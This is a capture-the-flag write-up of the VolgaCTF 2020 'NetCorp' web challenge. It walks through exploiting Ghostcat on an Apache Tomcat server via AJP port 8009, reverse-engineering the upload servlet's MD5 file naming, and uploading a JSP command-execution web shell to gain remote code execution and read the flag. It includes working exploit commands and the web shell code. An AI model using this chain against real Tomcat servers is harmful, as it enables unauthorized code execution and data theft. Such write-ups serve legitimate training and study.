NetCorp [web]

NetCorp

NetCorp Another telecom provider. Hope these guys prepared well enough for the network load...

netcorp.q.2020.volgactf.ru

Recon

volga2020-netcorp.png

Skid mode engaged

The page talks about the load it should be able to take, we assume that is a hint to go full bugbounty on it - gobuster all the way ̿̿ ̿̿ ̿'̿'\̵͇̿̿\з= ( ▀ ͜͞ʖ▀) =ε/̵͇̿̿/’̿’̿ ̿ ̿̿ ̿̿

gobuster output:

# gobuster dir -u "http://netcorp.q.2020.volgactf.ru:7782/" -w /usr/share/dirb/wordlists/small.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://netcorp.q.2020.volgactf.ru:7782/
[+] Threads:        10
[+] Wordlist:       /usr/share/dirb/wordlists/small.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/03/27 19:47:35 Starting gobuster
===============================================================
/docs (Status: 302)
/examples (Status: 302)
/resources (Status: 302)
/uploads (Status: 302)
===============================================================
2020/03/27 19:47:40 Finished
===============================================================

The following two URLs point to a Apache Tomcat 9 Version 9.0.24, Aug 14 2019 server:

  • http://netcorp.q.2020.volgactf.ru:7782/examples/
  • http://netcorp.q.2020.volgactf.ru:7782/docs/

This version is vulnerable to Ghostcat for which a public exploit can be found:

Ghostcat

What can Ghostcat do ?

By exploiting the Ghostcat vulnerability, an attacker can read the contents of configuration files and source code files of all webapps deployed on Tomcat.

In addition, if the website application allows users upload file, an attacker can first upload a file containing malicious JSP script code to the server (the uploaded file itself can be any type of file, such as pictures, plain text files etc.), and then include the uploaded file by exploiting the Ghostcat vulnerability, which finally can result in remote code execution.

nmap shows us that port 8009 is indeed open (needed for Ghostcat):

PORT     STATE    SERVICE      REASON
22/tcp   open     ssh          syn-ack ttl 53
25/tcp   filtered smtp         no-response
135/tcp  filtered msrpc        no-response
139/tcp  filtered netbios-ssn  no-response
445/tcp  filtered microsoft-ds no-response
8009/tcp open     ajp13        syn-ack ttl 52
9090/tcp open     zeus-admin   syn-ack ttl 52

Running the exploit:

$ python 48143.py -p 8009 -f WEB-INF/web.xml netcorp.q.2020.volgactf.ru

Getting resource at ajp13://netcorp.q.2020.volgactf.ru:8009/asdf
----------------------------
<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
    <display-name>NetCorp</display-name>

    <servlet>
        <servlet-name>ServeScreenshot</servlet-name>
        <display-name>ServeScreenshot</display-name>
        <servlet-class>ru.volgactf.netcorp.ServeScreenshotServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>ServeScreenshot</servlet-name>
        <url-pattern>/ServeScreenshot</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>ServeComplaint</servlet-name>
        <display-name>ServeComplaint</display-name>
        <description>Complaint info</description>
        <servlet-class>ru.volgactf.netcorp.ServeComplaintServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>ServeComplaint</servlet-name>
        <url-pattern>/ServeComplaint</url-pattern>
    </servlet-mapping>

    <error-page>
        <error-code>404</error-code>
        <location>/404.html</location>
    </error-page>
</web-app>

Seems to work, but now we need to find the flag. It is not:

  • flag
  • flag.txt
  • FLAG
  • /flag
  • /flag.txt

:-)

Uploads

The WEB-INF/web.xml file shows that there is a /ServeScreenshot. When we talk to this URL we see that it does not accept GET requests, when we send a post we get errors about file uploads. So, lets upload a file.

We can upload our own files to the server with:

# curl -vv -F 'data=@test.jpg' http://netcorp.q.2020.volgactf.ru:7782/ServeScreenshot
*   Trying 77.244.215.184:7782...
* TCP_NODELAY set
* Connected to netcorp.q.2020.volgactf.ru (77.244.215.184) port 7782 (#0)
> POST /ServeScreenshot HTTP/1.1
> Host: netcorp.q.2020.volgactf.ru:7782
> User-Agent: curl/7.66.0
> Accept: */*
> Content-Length: 29890
> Content-Type: multipart/form-data; boundary=------------------------9175eefe16e87302
> Expect: 100-continue
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 100 
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 
< Content-Type: application/json;charset=ISO-8859-1
< Transfer-Encoding: chunked
< Date: Sat, 28 Mar 2020 00:16:09 GMT
< 
* Connection #0 to host netcorp.q.2020.volgactf.ru left intact
{'success':'true'}

But we have no idea where the file ends up.

We can request the frontpage of the site with: python 48143.py -p 8009 -f index.html netcorp.q.2020.volgactf.ru

With a lot of trial and error we identified the location of the class files:

python 48143.py -p 8009 -f WEB-INF/classes/ru/volgactf/netcorp/ServeScreenshotServlet.class netcorp.q.2020.volgactf.ru

We can then decompile this file with jd-gui (removed a bunch of linebreaks):

import java.io.File;
import java.io.IOException;
import java.io.PrintWriter;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.annotation.MultipartConfig;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.Part;
import ru.volgactf.netcorp.ServeScreenshotServlet;

@MultipartConfig
public class ServeScreenshotServlet
  extends HttpServlet
{
  private static final String SAVE_DIR = "uploads";
  public ServeScreenshotServlet() { System.out.println("ServeScreenshotServlet Constructor called!"); }
  public void init(ServletConfig config) throws ServletException { System.out.println("ServeScreenshotServlet \"Init\" method called"); }
  public void destroy() { System.out.println("ServeScreenshotServlet \"Destroy\" method called"); }
  protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String appPath = request.getServletContext().getRealPath("");
    String savePath = appPath + "uploads";

    File fileSaveDir = new File(savePath);
    if (!fileSaveDir.exists()) {
      fileSaveDir.mkdir();
    }
    String submut = request.getParameter("submit");
    if (submut == null || !submut.equals("true"));


    for (Part part : request.getParts()) {
      String fileName = extractFileName(part);

      fileName = (new File(fileName)).getName();
      String hashedFileName = generateFileName(fileName);
      String path = savePath + File.separator + hashedFileName;
      if (path.equals("Error"))
        continue; 
      part.write(path);
    } 

    PrintWriter out = response.getWriter();
    response.setContentType("application/json");
    response.setCharacterEncoding("UTF-8");
    out.print(String.format("{'success':'%s'}", new Object[] { "true" }));
    out.flush();
  }

  private String generateFileName(String fileName) {
    try {
      MessageDigest md = MessageDigest.getInstance("MD5");
      md.update(fileName.getBytes());
      byte[] digest = md.digest();
      String s2 = (new BigInteger(1, digest)).toString(16);
      StringBuilder sb = new StringBuilder(32);

      for (int i = 0, count = 32 - s2.length(); i < count; i++) {
        sb.append("0");
      }

      return sb.append(s2).toString();
    }
    catch (NoSuchAlgorithmException e) {
      e.printStackTrace();
      return "Error";
    } 
  }

  private String extractFileName(Part part) {
    String contentDisp = part.getHeader("content-disposition");
    String[] items = contentDisp.split(";");
    for (String s : items) {
      if (s.trim().startsWith("filename")) {
        return s.substring(s.indexOf("=") + 2, s.length() - 1);
      }
    } 
    return "";
  }
}

Important parts in the source:

  • String savePath = appPath + "uploads"; = The files are saved in the uploads directory
  • String hashedFileName = generateFileName(fileName); = The files are saved under a different name which is generated
  • String path = savePath + File.separator + hashedFileName; = File path + generated name is used
  • MessageDigest md = MessageDigest.getInstance("MD5"); = MD5 is used to generate the new filename

The MD5 is generated over the old filename

So, if we take our test.jpg filename, the new filename is 0412c29576c708cf0155e8de242169b1:

# echo -n "test.jpg" | md5sum
0412c29576c708cf0155e8de242169b1  -

We can find our file at: /uploads/0412c29576c708cf0155e8de242169b1

Getting RCE

Let's upload something more interesting.

We uploaded a simple command execution file:

# cat vlekkeloos.jsp
<%@ page import="java.util.*,java.io.*"%>
<% 
out.println("Executing command");
Process p = Runtime.getRuntime().exec("ls");
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
  out.println(disr); 
  disr = dis.readLine(); 
}
%>

Uploading it to the server:

$ curl -vv -F 'data=@vlekkeloos.jsp' http://netcorp.q.2020.volgactf.ru:7782/ServeScreenshot

However it seems our exploit only can read files and not execute them:

# python 48143.py -p 8009 -f uploads/f8853c92d6e2404e0891f03ee1b8b540 netcorp.q.2020.volgactf.ru
# Getting resource at ajp13://netcorp.q.2020.volgactf.ru:8009/asdf
# ----------------------------

<%@ page import="java.util.*,java.io.*"%>
<% 
out.println("Executing command");
Process p = Runtime.getRuntime().exec("ls");
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
  out.println(disr); 
  disr = dis.readLine(); 
}
%>

Ghostcat-CNVD-2020-10487

But there are other exploits out there, such as https://github.com/00theway/Ghostcat-CNVD-2020-10487

Using this exploit to execute our file:

$ python3 ajpshooter.py http://netcorp.q.2020.volgactf.ru 8009 /uploads/f8853c92d6e2404e0891f03ee1b8b540 eval

[<] 200 200
[<] Set-Cookie: JSESSIONID=5DEE5C3CD085AE8C3C5F46CC40CA9295; Path=/; HttpOnly
[<] Content-Type: text/html;charset=ISO-8859-1
[<] Content-Length: 146

Executing command
BUILDING.txt
CONTRIBUTING.md
LICENSE
NOTICE
README.md
RELEASE-NOTES
RUNNING.txt
bin
conf
flag.txt
lib
logs
temp
webapps
work

The commend execution works, and now we know where the flag is as well: flag.txt. We adjust our code to read the flag:

# cat vlekkeloos.jsp
<%@ page import="java.util.*,java.io.*"%>
<% 
out.println("Executing command");
Process p = Runtime.getRuntime().exec("cat flag.txt");
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
  out.println(disr); 
  disr = dis.readLine(); 
}

%>

We upload this file and then run it with the exploit:

$ python3 ajpshooter.py http://netcorp.q.2020.volgactf.ru 8009 /uploads/f8853c92d6e2404e0891f03ee1b8b540 eval

[<] 200 200
[<] Set-Cookie: JSESSIONID=B55646A45413F92106E28A05F2D07186; Path=/; HttpOnly
[<] Content-Type: text/html;charset=ISO-8859-1
[<] Content-Length: 96

Executing command
VolgaCTF{qualification_unites_and_real_awesome_nothing_though_i_need_else}

Flag

VolgaCTF{qualification_unites_and_real_awesome_nothing_though_i_need_else}